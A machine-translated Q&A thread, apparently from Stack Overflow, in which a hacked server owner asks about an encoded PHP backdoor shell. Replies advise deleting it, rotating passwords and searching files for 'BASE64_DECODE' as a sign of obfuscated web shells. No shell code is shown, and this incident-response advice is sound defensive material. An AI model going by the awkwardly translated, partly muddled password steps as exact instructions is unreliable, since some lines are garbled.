对不起，听说你被黑客入侵。这看起来不像是有问题的代码。它不会做任何事情。 – Pete 2012-07-31 07:59:09

只需在文本编辑器中查看此代码，就可以实现更多功能。 – Pete 2012-07-31 08:08:52

忽略我。除了最后一行，我一直在阅读所有内容！ – Pete 2012-07-31 08:18:03

谢谢你的解码文件 – 2012-07-31 08:21:44

我有根服务器和所有的外壳是停止在服务器上，除了编码外壳，我怎么能停止编码外壳工作 – 2012-07-31 08:23:25

如果您通过在代码的最底部更换密码进一步解码串张贴你会得到实际的代码，虽然从上面可以很容易地确定发生了什么。

这是讨厌的代码。

* 尽快删除文件，因为它是您的网站的后门*并在简短的检查可能还提供了一种机制来破解你的密码（加上可能做了很多其他讨厌的东西）。

唯一的意见，我可以提供，应立即删除该文件后，是：

更改您的root密码为强密码（随机和> 20 个字符）。
更改运行Web 服务器
更改任何管理员帐户的密码任何FTP站点上托管的Web/FTP 服务器密码
更改Web 服务器上运行的应用程序的密码（如WordPress的）
变化在4点使用你的Web应用程序上面
请在具有字符串“BASE64_DECODE”的任何文件“在文件中查找”任何潜在数据库的密码。任何具有此字符串的文件都是高度可疑。如果您无法解释该文件在那里做什么，则强烈建议将其隔离。由于这些文件的创建者不希望您知道隐藏的内容，因此这些文件往往会在其中包含很少或不可读的代码。有些文件合法使用base64字符串。

完成此操作后，为新近或最近创建/更新的文件拖动您的Web目录。这段代码有可能被用来在你的网站上植入一些东西，比如钓鱼代码。对您的托管站点和底层数据库进行完整备份。删除或隔离任何看起来可疑的东西。

所有的密码应该是随机的和强大的。使用密码生成器。由于密码较弱，所以有可能将这个文件放到您的网站上（而不是您会知道的）。

我试图显示有问题的代码，但stackoverflow不会允许我由于差的格式（对不起）。
